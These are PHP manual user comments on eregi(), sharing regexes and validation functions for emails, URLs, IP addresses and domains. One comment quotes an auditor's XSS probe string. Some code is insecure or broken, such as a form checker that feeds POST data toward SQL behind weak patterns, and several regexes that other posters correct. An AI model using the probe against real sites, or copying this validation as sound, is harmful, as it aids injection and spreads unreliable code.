If you're uncomfortable with the character length limits on domain and tld
names, change them to taste.

**/
ted devito 03-May-2008 01:29
RE: validate a url
--------------------
based on "ian at hyperborea dot co dot uk" below...
original date: 10-Nov-2004 03:15

I added a test for http(s?) and ftp as well as a trailing slash on urls that don't specify a page.

now it allows...
http://test.com/
https://www.test.com

$domain = "(http(s?):\/\/|ftp:\/\/)*([[:alpha:]][-[:alnum:]]*[[:alnum:]])
    (\.[[:alpha:]][-[:alnum:]]*[[:alpha:]])+";
$dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]])*";
$trailingslash  = "(\/?)";
$page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
$getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)
    (&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+))*)?";
$pattern = "^".$domain.$dir.$trailingslash.$page.$getstring."$";
mbfreight atthe gmail place 03-Jan-2008 11:53
keran at kiwi-interactive dot com wrote (5ish years ago) 07-Mar-2003 08:21

$feedback = "Error: $email isn't a valid mail address!";
return $feedback;
-- and --
$feedback = "Error: $domain isn't a valid domain!";
return $feedback;

I've been crushed with patching up XSS and anytime you get user input, it's best to just not show it back to them if possible. The auditor loves throwing these at me: >"><script>alert(123)</script><"  in the url, in forms, everywhere. Some looking around and you can find and build an amazing testing string.

I have found that using htmlentities($user_input) isn't enough, either. There are a few tricks that can help like
        // from http://us3.php.net/manual/en/function.strip-tags.php
    while($input != strip_tags($input)) {
            $input = strip_tags($input);
        }

In my case, I'm starting off by testing for <[tag]> as well as keyword() and then do some preg_replace ing.
shwetank dot sharma86 at gmail dot com 07-Dec-2007 02:13
we define some notficatio for making the Expression for eregi(exp, string)

so first of all syntax
   [ ]  this brakit  used to define chracters
   eg  [a-z], [0-9]
  { } this brakit used ti define range
  eg  {1,3}
if you wanna to make a expresion which take which take maximum
three digit no
        "^[0-9]{1,3}$"

and if make exp for only three digit no than

       "^[0-9]{3}$"

ok if any problem mail me
c00lways at gmail dot com 11-Mar-2007 03:10
hodsfords:

i love your expression,
and i've came out with a solutions which does not need to set the number of times {1,3} for the domain.
it can accept unlimited number of times, but @ least 1 time .com / .xxx

$exp = "^[a-z0-9]+[a-z0-9\?\.\+-_]*" .
@[a-z0-9_-]+(\.[a-z0-9_-]+)*\.[a-z]+$";
m at tthew dot org dot uk 07-Nov-2006 11:47
This example checks for a valid IP address or CIDR notation address range. (Thanks Walo for just the start I needed.)

The reg exp is too long to post in the code. It is:
^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}(/[0-9]{1,2}){0,1}$
(substitute for EXPR)

<?php

function checkValidIp($cidr) {

    // Checks for a valid IP address or optionally a cidr notation range
    // e.g. 1.2.3.4 or 1.2.3.0/24

   if(!eregi("EXPR", $cidr)) {
       $return = FALSE;
   } else {
       $return = TRUE;
   }

    if ( $return == TRUE ) {

        $parts = explode("/", $cidr);
        $ip = $parts[0];
        $netmask = $parts[1];
        $octets = explode(".", $ip);

        foreach ( $octets AS $octet ) {
            if ( $octet > 255 ) {
                $return = FALSE;
            }
        }

        if ( ( $netmask != "" ) && ( $netmask > 32 ) ) {
            $return = FALSE;
        }

    }

    return $return;

}

?>
benjohnson{-at-}maine{-dot-}rr{-dot-}com 11-Sep-2006 11:33
It's probably worth noting that eregi() (and most likely, the related variations) appears to have a 255-character limit with respect to the length of the input it will attempt to parse.

If you try to do something like

if (!eregi("^[a-zA-Z0-9]{0,256}$", $text)) { ...

eregi() will return FALSE, irrespective of whether or not the input matches the pattern.
markus dot sipila at no dot spam dot iki dot fi dot invalid 02-Aug-2006 11:29
One more comment about email validation and usability of validators.

The fact that RFC 2822 allows broader set of characters in email addresses than typically used makes things quite challenging usability wise.

A very common usability problem with email validators is that they do not accept all valid addresses (such as foo{bar}.baz!@example.com. Almost as  common problem is that the validator only checks that the syntax is valid and passes addresses like foo#@example.com without any warning. Even though foo#@example.com is syntactically valid it might just as well be a typo of foo@example.com.

I resolved this usability challenge by doing the validation in two phases. In the first phase the address is validated so that it can't include exotic characters like { or |. Most addresses pass this validation.

If they don't, they are validated with the other validator that allows all RFC-compliant addresses. In this case the validator shows a message that the address is syntactically valid but it recommends to double check it for typos.

An example without regexps:
<?php
if (eregi($normal, $email)) {
  echo("The address $email is valid and looks normal.");
}

else if (eregi($validButRare, $email)) {
  echo("The address $email looks a bit strange but it is syntactically valid. You might want to check it for typos.");
}

else {
  echo("The address $email is not valid.");
}
?>

The full article with the regexps and demo can be found at http://www.iki.fi/markus.sipila/pub/emailvalidator.php
tim at rocketry dot org 30-Apr-2006 06:32
The easiest way I've found to validate a properly formed email address is this:

if(!eregi("^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+\.[a-z]{2,4}$", $_POST['EmailAddress'])) {
     echo "<p>Not a valid email address</p>\n";
}

It basically just wants to see some alphanumeric characters + an @ sign + a . + 2 to 4 alpha characters. So far it has done what I need for quite a while now.. Hope that helps someone. :)

Tim
info at stenschke dot com 03-Feb-2006 01:39
i needed a function to find hyperlinks containing a url as text of the hyperlink, exceeding a given maximum length.
here my function to finds too long hyperlinks and insert <br />s where needed into the linktext:

    function breakTooLongLinks($text,$maxLen) {
        //find hyperlinks that contain too many chars & insert <br>s where neccessary
        $pattern= '[>]www[.].*/*(.doc|.pdf|.htm|.html|.shtml|.php|.asp)(</a>|</A>)';
        $match= eregi($pattern, $text, $regs);
        if ($match) {
            foreach ($regs as $link) {
                if (strlen($link)>$maxLen) {
                    $linkParts= explode('/',$link);
                    $linkRepl= array(); $replI=0; $curLinkPart='';
                    foreach($linkParts as $linkPart) {
                        $curLinkPart.= $linkPart.'/';
                        if (strlen($curLinkPart)>$maxLen) {
                            $linkRepl[]= $curLinkPart;
                            $curLinkPart='';
                        }
                    }
                    $linkRepl= implode('<br />',$linkRepl);
                    $text= str_replace($link, $linkRepl, $text);
                }
            }
        }
        return $text;
    }
opedroso at swoptimizer dot com 07-Jan-2006 02:13
I you are trying to match accented characters (e.g. you want to match "Café Olé"), you can use the following regex:

"[a-zà-ü ]+"

This takes advantage of the fact that in the iso-8859-1 "Latin 1", the "à" is the first accented char and the "ü", the last one.

By the way, the regex above will match this string as a single match:

"aeiou àèìòù áéíóú âêîôû ãõ ñ äëïöü ç"

Beware that your local code page may include a few more char codes in the range "[à-ü]", so it may match more than you expect.
Jason Smart knarlin at yahoo dot com dot au 15-Oct-2005 07:28
There seems to be a lot of confusion about escaping special characters within a bracket expression enclosed in []

The reference is the regex man page at http://www.tin.org/bin/man.cgi?section=7&topic=regex , Linked from the "Regular Expression Functions (POSIX Extended)" page in the PHP manual at http://php.planetmirror.com/manual/en/ref.regex.php

The simple rule is there should be no backslash `\' in a bracket expression unless you are matching it literally.
ALL special characters (the few exceptions are listed below), lose their special significance in a bracket expression.
This includes .[$()|*+?{\ all of which have special meaning outside of a bracket expression, inside they will match LITERALLY!

The backslash character can never escape anything in a bracket expression including itself! It is always interpreted literally.

Here are the exceptions

^ at the start of the bracket expression will match on all but the set of characters within the bracket expression

- (hyphen) Indicates range, so [a-z] will match a single character in the range a-z (case insensitive for eregi).
  To match a literal `-' it must be at the start or end of the bracket expression or the end of a range, or enclosed in [. .] to be the start of a range.
  Examples:
  [0-9-]
  [-0-9]
  Both the above will match a single character from the set comprising the digits and hyphen `-'

  [!--] is the same as [!"#$%&'()*+,-]
  i.e. it matches a single character from the range of characters from `!' to hyphen `-'

  [[.-.]-9] is the same as [-./0123456789] or [./0123456789-]
  and will match a single digit from the range of characters from hyphen `-' to digit 9

] The closing bracket indicates the end of a bracket expression but not if it immediately follows the opening bracket `[' or `[^' in that case the closing bracket is matched literally.
  Examples:
  [][0-9] is the same as []0-9[]
  and matches a single character from the set of digits and a literal closing bracket `]' and opening bracket `]'

  [^][0-9] is the same as [^]0-9[]
  and matches a single character from the group of all characters except the set of digits and literal `]' or `['

Look at the regex man page for more on the above and the following special cases

[.characters.]
  A collating element
[=characters=]
  An equivalence class
[:alnum:]
  A character class

That's it for special cases! ALL other characters match literally within a bracket expression and can never be escaped with `\'

Here is a list of some of the postings here that have mistakenly tried to use special characters within a bracket expression.
28-Jan-2002 12:56, 09-Feb-2002 06:28, 24-Sep-2002 01:21, 08-Mar-2003 02:21, 11-Apr-2003 03:22 (uses `|' as if it was `or' it is not, it is a literal `|'), 27-Jun-2003 04:03, 06-Sep-2003 07:17, 20-Apr-2004 04:55, 24-Nov-2004 09:12, 25-Nov-2004 02:11, 06-Jan-2005 08:54, 24-Feb-2005 06:05

It seems people are copying each others mistakes so this needs to be cleared up. Most of the mistakes attempt to escape special characters within a bracket expression with backslash. That never works! A simple fix is to simply remove any backslashes within the bracket expression that are not meant to be matched literally.

The attempt to use | as 'or' within a bracketed expression should be put in parentheses instead.

I used a simple script attached to a form to test these results. Here's the script.
<?php
  if(isset($_POST['pattern']) && isset($_POST['teststring'])) {
    $pattern = stripslashes($_POST['pattern']);
    $teststring = stripslashes($_POST['teststring']);
    $match = ereg($pattern, $teststring, $regs);
    if(!$match) $match = 0;
    echo('<p>The regular expression is: '.$pattern.'</p>');
    echo('<p>The string for testing is: '.$teststring.'</p>');
    echo('<p>The number of matching characters is: '.$match.'</p>');
  }
?>
Just use a form with input fields named "pattern" and "teststring"

Hope this helps and clears up some misconceptions
Jason Smart
Monash University Student
manuel at cvam dot com dot ar 28-Jul-2005 12:47
Please note that event though email pattern submitted by bobocop at bobocop dot cz below is RFC compliant, actual domain names are not!

They do start with numbers (as in 1800flowers.com, etc), so the second line, domain, should be:
<?php
$domain = '([a-z0-9]([-a-z0-9]*[a-z0-9]+)?)';
?>
(everything else just like bobocop's comment from 02-May-2005 11:09)
somebody at somewhere dot com 10-May-2005 06:35
Say you want to validate a random sized string (at least one character though), and make sure it DOESN't contains anything BUT these characters: [:space:]a-zA-Z0-9_.-

function valid_name($name)
{

   // return FALSE if it contains characters which
   // which ARNT on the specified list
   if(ereg('[^[:space:]a-zA-Z0-9_.-]{1,}', $name))
   {
      return false;
   }
   else
   {
      return true;
   }

}
bobocop at bobocop dot cz 02-May-2005 05:09
<?php
// Completely update for match RFC 2822 and RFC 1035
// http://www.faqs.org/rfcs/rfc2822.html
// http://www.faqs.org/rfcs/rfc1035.html

// Example results:

$email[] = 'foo@example.com';                      // matched
$email[] = 'foo.bar@example.co.uk';                // matched
$email[] = 'foo_bar@example.com';                  // matched
$email[] = '_foo_bar@example.com';                 // matched
$email[] = 'foo@example.example';                  // matched
$email[] = '%#a+f.*&654_-._@ee.xx';                // matched
$email[] = 'foo@abc-123.xx';                       // matched
$email[] = 'a@a.a.a.a.aa';                         // matched
$email[] = 'a@a9.aa';                              // matched
$email[] = 'a!b#c$d%e^f&g*h\'i+j-k{l|m}n_/@op.qr'; //matched

$email[] = '';                                     //separator

$email[] = 'foo@-example.com';                     // not matched
$email[] = 'foo@example-.com';                     // not matched
$email[] = '%#af.*&@a%#b.xx';                      // not matched
$email[] = 'a@a.99.00.a.aa';                       // not matched
$email[] = '_-._@-.--';                            // not matched
$email[] = 'any..thing@bla.bla';                   // not matched
$email[] = '@.';                                   // not matched
$email[] = '@.com';                                // not matched
$email[] = '@exam@exam.com';                       // not matched
$email[] = ' @ .com';                              // not matched
$email[] = '.bar@example.com';                     // not matched
$email[] = 'foo.@example.com';                     // not matched
$email[] = 'foo@example.x';                        // not matched

$atom = '[-a-z0-9!#$%&\'*+/=?^_`{|}~]';    // allowed characters for part before "at" character
$domain = '([a-z]([-a-z0-9]*[a-z0-9]+)?)'; // allowed characters for part after "at" character

$regex = '^' . $atom . '+' .         // One or more atom characters.
'(\.' . $atom . '+)*'.               // Followed by zero or more dot separated sets of one or more atom characters.
'@'.                                 // Followed by an "at" character.
'(' . $domain . '{1,63}\.)+'.        // Followed by one or max 63 domain characters (dot separated).
$domain . '{2,63}'.                  // Must be followed by one set consisting a period of two
'$';                                 // or max 63 domain characters.

foreach ($email as $example) {
    if (strlen($example) == 0):
        echo '&nbsp;<br>';
    else:
      if (eregi($regex, $example)):
       echo $example . ' matched<br>';
      else:
       echo '<strong>'. $example . ' not matched</strong><br>';
      endif;
    endif;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 02-Mar-2005 01:32
Sometimes we require checking the syntax of
floating point numbers. Here is a php-code that
performs this task.

// To call this program:
//   php floats.php
//--------------------------
// Example of the use of regular expressions for checking
// the syntax of floating point numbers.
<?php
// This opens standard in ready for interactive input..
$STDIN = fopen("php://stdin","r");

for(;;) { // FOREVER-LOOP
  echo "Float>";
  $s = trim(fgets($STDIN,256));
  if ($s) {
    $le =
      eregi(
       "-?(([0-9]+e-?[0-9]+)|((([0-9]+\.[0-9]*)|(\.[0-9]+))" .
       "(e-?[0-9]+)?))",
         $s, $regs);
    if ($le==strlen($s))
      echo "Yes it's float\n";
    else if ($le > 0)
      echo "$le chars of the string correspond to a float\n";
    else
      echo "No, it isn't float\n";
  }
  else
    break;
}

fclose($STDIN);

?>
krum at estnet dot bg 23-Feb-2005 09:05
I was searching for a fast way to check all fields of a form, so I can
include the $_POST information directly to the sql query. So I wrote
another script in my class in order to check the submitted data. So here it
is:
<?
function check_post () {
 foreach ($_POST as $key => $val) {
  $$key = $val;
 }
 $data = Array();
 $data["^[a-z0-9!@#$%^&*]"] = Array ("first_name", "last_name",
 "nick", "pass", "description", "user", "message", "event", "name", "title",
 "text");
 $data['^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+'
.'@'.'[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.'
.'[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$'] = Array("mail");
 $data["^[0-9]{1,4}"] = Array("day", "month", "owner", "type", "forum_id", "topic_id");
 foreach ($data as $key => $val) {
  foreach ($val as $k => $c) {
   if ( isset($$c) ) {
    if ( !eregi($key, $$c) ) {
     echo "You have used an not allowed character in " .$$c. " field\n";
     exit;
    }
   }
  }
 }
}
?>
I hope it will help someone ^_^
sven.heinicke.org 03-Feb-2005 08:49
The  gethostbyname($regs[2]) == $regs[2] is a bad idea.  Some domain names have a MX record but not an IP number.  The first example I found is jhu.edu domain:

sven@chef:~$ host jhu.edu
jhu.edu A record currently not present
sven@chef:~$ host -t mx jhu.edu
jhu.edu                 MX      10 smtp.johnshopkins.edu
cristian81 AT katamail DOT com 24-Nov-2004 12:12
The same "checkipaddress" function posted by "lueck at gerwan dot de", with the add of an optional jolly char suport. Returns TRUE or FALSE

Results:

check_ip_address('125.32.15.0') is TRUE
check_ip_address('125.32.15.*') is FALSE
check_ip_address('125.32.15.*', '*') is TRUE
check_ip_address('*.*.*.*', '*') is TRUE
check_ip_address('125.-.15.2', '-') is TRUE

<?php
function check_ip_address($checkip, $jolly_char='') {
    if ($jolly_char=='.')        // dot ins't allowed as jolly char
        $jolly_char = '';

    if ($jolly_char!='') {
        $checkip = str_replace($jolly_char, '*', $checkip);        // replace the jolly char with an asterisc
        $my_reg_expr = "^[0-9\*]{1,3}\.[0-9\*]{1,3}\.[0-9\*]{1,3}\.[0-9\*]{1,3}$";
        $jolly_char = '*';
    }
    else
        $my_reg_expr = "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$";

    if (eregi($my_reg_expr, $checkip)) {
        for ($i = 1; $i <= 3; $i++) {
            if (!(substr($checkip, 0, strpos($checkip, ".")) >= "0" && substr($checkip, 0, strpos($checkip, ".")) <= "255")) {
                if ($jolly_char!='') {            // if exists, check for the jolly char
                    if (substr($checkip, 0, strpos($checkip, "."))!=$jolly_char)
                        return false;
                }
                else
                    return false;
            }

            $checkip = substr($checkip, strpos($checkip, ".") + 1);
        }

        if (!($checkip >= "0" && $checkip <= "255")) {        // class D
            if ($jolly_char!='') {            // if exists, check for the jolly char
                if ($checkip!=$jolly_char)
                    return false;
            }
            else
                return false;
        }
    }
    else
        return false;

    return true;
}
?>
ian at hyperborea dot co dot uk 10-Nov-2004 12:15
I was looking for something to validate a URL, and as usual turned to 'php.net' as it provides an invaluable source of information. I couldn't find exactly what I wanted so came up with something of my own which I hope will be of use to others.

<?php
function validateURL($URL) {
    $domain = "([[:alpha:]][-[:alnum:]]*[[:alnum:]])
(\.[[:alpha:]][-[:alnum:]]*[[:alpha:]])+";
    $dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]])*";
    $page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
    $getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)
(&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+))*)?";
    $pattern = "^".$domain.$dir.$page.$getstring."$";
    return eregi($pattern, $URL);
}
?>
Be sure to enter each pattern on a single line.

The function accepts a URL and validates the domain, directory path, page and any GET parameters. You can see I have split the patterns for validating each section for easier reading and maintaining.

Domain Name:
This can be made of of many parts each seperated by a '.' (dot). each part must start with an alpha char. followed by any alphanumeric chars., or '-'. With the exception of the first part each part must end in an alpha char..

e.g. www.google.co.uk and www9.g-88gle.co.uk are valid, but 9ww.google.3o.uk and www.google4.co.uk3 are not.

Directory Path:
Each directory must start with a '/' followed by an alpha char., then any alpha numeric char., or '-', and ending in an alphanumeric char.

e.g. /path1/to-page is valid, but /path1-/2-page is not.

Page:
This is like the directory path but it must end with a '.' (dot) followed by 3-5 alpha chars.

e.g. /phpinfo.php and /page.shtml are valid, but /phpinfo.php4 and /pageshtml are not.

Get String:
This follows the page and begins with a '?'. This is then followed by key/value pairs each seperated by an '&'.

e.g. ?key1=value1&key2=value2

Each key, or value must start and end with an alpahnumeric char. I have allowed for a '%' to be specified for URL encoded chars., and also '_' (underscore) is allowed.

Well thats it hope it is of some use. It is NOT perfect, for instance in the 'getstring' I would like to ensure that encoded characters (i.e. %20) consist of a % symbol followed by two characters with values '0-9A-F' but couldn't get anything I tried to work.
I would welcome any suggestions or improvements, there are bound to be some.

Note: The patterns are based on an earlier post by 'fusillo at NOSPAM dot netgang dot it' for matching domain names. Thanks to him.
gabriel at gabrielharrison co uk 01-Nov-2004 01:19
There is a bug in the regex that means it doesn't work with a domain suffex that has two parts eg: .co.uk
I'm not good enough with regexs to sort this - sorry.

There can also be a problem if the domain doesn't have a domain entry without the www. subdomain. To solve this modify the code with:

elseif( gethostbyname($regs[2]) == $regs[2] ||
gethostbyname('www' . $regs[2]) == 'www' . $regs[2])
chadkeffer at mail dot com 01-Jul-2004 01:42
There's seems to be some confusion on just what is allowed in an email address and thus how to build your regular expression.  RFC 2822 replaced RFC 822 over 3 years ago, so make sure you're referencing the correct RFC.  Also, don't assume all servers comply with the RFC.
gullevek at gullevek dot org 23-Jun-2004 10:58
for the comment from 'joseph dot ragsdale at xconduit dot com'

The regex has one bug thought. It elminates <user>@jp.t.ne.jp addresses which are completly valid as it needs at least 2 chars in the domain part.

This regex fixes it:

^[_a-z0-9-]+(\.[_a-z0-9-]+)*
@[a-z0-9-]+(\.[a-z0-9-]{1,})*\.([a-z]{2,}){1}$

[but the regex in one line]
kidproto at hotmail dot com 20-Apr-2004 08:55
"^[a-zA-Z0-9_\-]+(:?\.svg|\.wmf|\.zip|\.tar\.gz|\.tgz)$"

That is the proper file check for a well formatted beginning and ending filename for those select files. The one in this list is incorrect for at least php 4.3.0 which is what I'm using.

The (:?) makes sure that the parentheses aren't used for storing the matched regex.
fusillo at NOSPAM dot netgang dot it 03-Jan-2004 11:24
This is a simple function that uses eregi() function to validate a domain name (according to the RFC 1034).

function check_host($host) {
if (
   eregi("^[[:alpha:]]+([-[:digit:][:alpha:]]*
          [[:digit:][:alpha:]])*(\.[[:alpha:]]+
          ([-[:digit:][:alpha:]]*[[:digit:][:alpha:]])*)
          *$",$host)
  ) {
       return 1;
    } else return 0;
};

NOTE: This expression must be written on a single line to work
I had to brake it on separate lines to post on the site.

Returns 1 if $host is an RFC compliant domain name else returns 0.

This function is part of the code of blackboxed linux distribution coming on your screen late genuary.

-fusillo-
alexm(_A_T_)factory7.com 11-Dec-2003 09:30
A little interesting and hopefully on topic point I found while browsing the internet at: http://www.clemburg.com/x1713.html#AEN1717

According to RFC 822 (see http://www.rfc-editor.org/), email addresses
are case-sensitive in the part before the "@" sign, except for the
special address "POSTMASTER", which is not case-sensitive. The part
after the "@" sign is a host name, and is not case-sensitive.

Note that many organizations will implement an aliasing facility that
recognizes alternative forms for an email address (e.g., providing
"John.Doe@my.organization.com", "john.doe@my.organization.com",
"doe@my.organization.com", "Doe@my.organization.com" etc.). However,
this is not required by the standard as specified in RFC 822.

so you may want to keep that in mind....
i.e. breakup the username/alias (ereg) and domain (eregi) parts of the email
joseph dot ragsdale at xconduit dot com 06-Nov-2003 11:31
I'm posting this as a - hopefully - helpful example to those who are learning regular expressions. Apologies to the documentation team and moderators for posting yet another email address validation example, but it's hard to argue against it as most everyone will see regular expressions as being a solution to this problem.

<?php
// Example results:

$email[] = 'foo@example.com';       // matched
$email[] = 'foo.bar@example.co.uk'; // matched
$email[] = 'foo_bar@example.com';   // matched
$email[] = '_foo_bar@example.com';  // matched
$email[] = 'foo@example.example';   // matched
$email[] = '_-._@-.--';             // matched

$email[] = '@.';               // not matched
$email[] = '@.com';            // not matched
$email[] = ' @ .com';          // not matched
$email[] = '.bar@example.com'; // not matched
$email[] = 'foo.@example.com'; // not matched
$email[] = 'foo@example.x.y';  // not matched

$regex =
  '^'.
  '[_a-z0-9-]+'.        /* One or more underscore, alphanumeric,
                           or hyphen charactures. */
  '(\.[_a-z0-9-]+)*'.   /* Followed by zero or more sets consisting
                           of a period and one or more underscore,
                           alphanumeric, or hyphen charactures. */
  '@'.                  /* Followed by an "at" characture. */
  '[a-z0-9-]+'.         /* Followed by one or more alphanumeric
                           or hyphen charactures. */
  '(\.[a-z0-9-]{2,})+'. /* Followed by one or more sets consisting
                           of a period and two or more alphanumeric
                           or hyphen charactures. */
  '$';

foreach ($email as $example) {
  if (eregi($regex, $example)) {
    echo $example . ' matched<br>';
  } else {
    echo $example . ' not matched<br>';
  }
}
?>
banerian at u dot washington dot edu 17-Sep-2003 03:55
It should be noted that in the function validateEmail, the final verification relies on the mail server responding to the test $email with a reply code of 250.   Nowadays, many/most/all servers will reply 250/Ok for any  user@thier.domain regardless of whether or not the userid actually exists.  mail servers tend to accept the mail (if it passes other checks), and if the user really does not exist, it just "bounces" the mail back to sender.  thus the validateEmail function can give false positives...an unfortunate victim of having to deal with spam.
Hodfords 06-Sep-2003 11:17
Most of the Ereg functions for emails that I have seen do not
work for emails like :-

joe@something.co..uk

And emails such as
joe@something.co.uk+1234

This eregi which we put together, I think works, it should be just one line, but php.net did not let us submit, because it said that even after using wordwrap() the line was too long :-

$ereg_string =
"^[\'+\\./0-9A-Z^_\`a-z{|}~\-]+@
[a-zA-Z0-9_\-]+(\.[a-zA-Z0-9_\-]+){1,3}$";

Adjust the number "3" right at the end to whatever number
you want.

A long domain name such as "@finance.uk.yahoo.co.uk" which
has 5 parts will require the number to be higher.
tomi at vacilando dot net 26-Jun-2003 08:03
Keran's solution is a good one but I found it does not work for a small number of domains -- because of a bug in gethostbyname() that causes some valid domains not to resolve properly. The workaround is to test such domains with "www." added to the beginning. This script does all that and works perfectly for me. Enjoy!

// Function to validate emails.
function validate_email($email_raw)
    {
    // replace any ' ' and \n in the email
    $email_nr = eregi_replace("\n", "", $email_raw);
    $email = eregi_replace(" +", "", $email_nr);
    $email = strtolower( $email );
    // do the eregi to look for bad characters
    if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*". "@([a-z0-9]+([\.-][a-z0-9]+))*$",$email) ){
      // okay not a good email
      $feedback = 'Error: "' . $email . '" is not a valid e-mail address!';
      return $feedback;
      } else {
      // okay now check the domain
      // split the email at the @ and check what's left
      $item = explode("@", $email);
      $domain = $item["1"];
      if ( ( gethostbyname($domain) == $domain ) )
        {
          if ( gethostbyname("www." . $domain) == "www." . $domain )
             {
               $feedback = 'Error: "' . $domain . '" is most probably not a valid domain!';
               return $feedback;
             }
        // ?
           $feedback = "valid";
           return $feedback;
        } else {
        $feedback = "valid";
        return $feedback;
        }
      }
    }
steve at brainwashstudios dot com 10-Apr-2003 07:22
why not match some filenames?

if (!ereg("^[a-ZA-Z0-9]+[/.gif|/.jpg|/.png]$",$match){
 echo "Invalid Filename";
}else{
 if (file_exists($match)){
  echo "blah";
 }
}

I suppose that would work off the top of my head but I have yet to test it, so you may want to check it first.
keran at kiwi-interactive dot com 08-Mar-2003 05:21
I couldn't get any of the email validation items above to actually work (maybe I'm thick) :)

So I adapted a couple and came up with this, and it seems to work

// function to validate email
function validate_email($email_raw) {

    // replace any ' ' and \n in the email
    $email_nr = eregi_replace("\n", "", $email_raw);
    $email = eregi_replace(" +", "", $email_nr);

    // do the ergei to look for bad characters
  if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*".
"@([a-z0-9]+([\.-][a-z0-9]+))*$",$email) ){
    // okay not a good email
    $feedback = "Error: $email isn't a valid mail address!";
    return $feedback;
    } else {
        // okay now check the domain
        // split the email at the @ and check what's left
        $item = explode("@", $email);
        $domain = $item["1"];
        if( gethostbyname($domain) == $domain) {
            $feedback = "Error: $domain isn't a valid domain!";
            return $feedback;
        } else {
            $feedback = "valid";
            return $feedback;
        }
    }

}
slavo at polovnictvo-mn dot sk 20-Feb-2003 02:30
This is what I found (by Jon S. Stevens jon@clearink.com with
Copyright 1998 Jon S. Stevens, Clear Ink)

function validateEmail ($email){
   global $SERVER_NAME;
   $return = array(false,  "" );
   list ($user, $domain) = split( "@", $email, 2);
   $arr = explode( ".", $domain);
   $count = count ($arr);
   $tld = $arr[$count - 2] .  "." . $arr[$count - 1];
   if(checkdnsrr($tld,  "MX")) {
      if(getmxrr($tld, $mxhosts, $weight)) {
         for($i = 0; $i < count($mxhosts); $i++){
               $fp = fsockopen($mxhosts[$i], 25);
            if ($fp){
               $s = 0;
               $c = 0;
               $out =  "";
               set_socket_blocking($fp, false);
               do {
                  $out = fgets($fp, 2500);
                  if(ereg( "^220", $out)){
                           $s = 0;
                     $out =  "";
                     $c++;
                  }
                  else if(($c > 0) && ($out ==  "")){
                     break;
                  }
                  else {
                     $s++;
                  }
                  if($s == 9999) {
                     break;
                  }
               } while($out ==  "");
               set_socket_blocking($fp, true);
               fputs($fp,  "HELO $SERVER_NAME\n");
               $output = fgets ($fp, 2000);
               fputs($fp,  "MAIL FROM: <info@" . $tld .  ">\n" );
               $output = fgets($fp, 2000);
               fputs($fp,  "RCPT TO: <$email>\n");
               $output = fgets($fp, 2000);
               if(ereg(  "^250", $output )) {
                  $return[0] = true;
               }
               else {
                  $return[0] = false;
                  $return[1] = $output;
               }
               fputs ($fp,  "QUIT\n");
               fclose($fp);
               if($return[0] == true){
                  break;
               }
            }
         }
      }
   }
   return $return;
}

----
hope it helps you...
webmaster at textedit dot co dot uk 19-Jan-2003 08:03
I notice a lot of queries involving regular expressions and is_float() regarding currency validation.

If you have a version of php that uses the std C ctype.h functions then it will ALWAYS work with the following code.

function check_price($price)
{
$data=split('[.]',$price);

    if ( count($data) != 2 )
        return "false";

    if ( ctype_digit($data[0]) && ctype_digit($data[1]) && $data[0][0] != '0')
        return "true";
    else
          return "false";
}

Peter Lorimer

http:www.textedit.co.uk
webmaster@textedit.co.uk
X-Istence.com 18-Jan-2003 03:48
To check email, i use the following code:

if (!eregi ("^([a-z0-9_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$", $email) {
echo "Invalid Email Adress";
}
else {
echo "Valid Email Adress";
}
respectthepinguin at yahoo dot com 04-Jan-2003 08:30
validating an email can be pretty tough... however this....
^([[:alnum]]|_|\.|-)+@([[:alnum]]|\.|-)+(\.)([a-z]{2,4})$
makes this task much easier. (:)
BKDotCom at hotmail dot com 30-Sep-2002 08:56
in regards to using gethostbyname() to validate email addresses:
Large flaw:
Doesn't work if the host has a NS & MX record, but no A record.
henrik jensen<hj at this_netwerk dot dk> 27-Jul-2002 07:05
Looking for at regex to check if a file is an image file, this seems to work?

Note: it does not check for illegeal filesystem names - it only looks at the filename extension.

if (eregi ("(.)+\\.(jp(e){0,1}g$|gif$|png$)",$filename)){
    // This is an imagefile
}

[ remove this_ from emailaddress ]
trosho at vip dot bg 09-Jun-2002 01:47
Please note that eregi() is case sensitive if you use cyrillic chars
re at lloc dot de 06-Mar-2002 04:36
An additional note to one of these
expressions above: I use

"^[a-z0-9]+([_.-][a-z0-9]+)*@([a-z0-9]
+([.-][a-z0-9]+)*)+\\.[a-z]{2,4}$"
tuxx at tuxx-home dot at 27-Feb-2002 12:11
A small note to one of these expressions above:
Inside a character class ([...]) one does not need to escape the fullstop, therefore

[-\\._]

would become

[-._]
steve at fish2find dot co dot uk 26-Feb-2002 04:40
hope this helps with some validation problems, simple text validation:
            //$firstname = "somename"; // valid
    or  //$firstname = "somenam3"; // not valid

            //lets validate a field entry & trim off any white spaces
            $firstname = trim($firstname);

        //set lenght of the field to a max 12 characters
            $len = "0,12";
            $field = $firstname;

            //call function
            if (is_valid($field, $len)){

            //if field entry valid then set
            $valid_firstname = $field;
            //set record to yes
            $valid_record = "TRUE";
                  echo "$field is a valid name";
            }
            else{
            //set record to null
            $valid_record = "FALSE";
                  echo " $field is not a valid name";
            }
            //process to see if valid record
            if ($valid_record == "FALSE"){
                  echo " & is not a valid record";
            }
            else{ //assume record is valid
                  echo " & is a valid record";
            }

            //validate field entry function

            function is_valid($field, $len) {
            if(eregi("^[[:alpha:]]{{$len}}$", $field)) return                TRUE;
            else return FALSE;
            }
ruben dot no dot spam at artek dot no dot spam dot es 08-Feb-2002 09:28
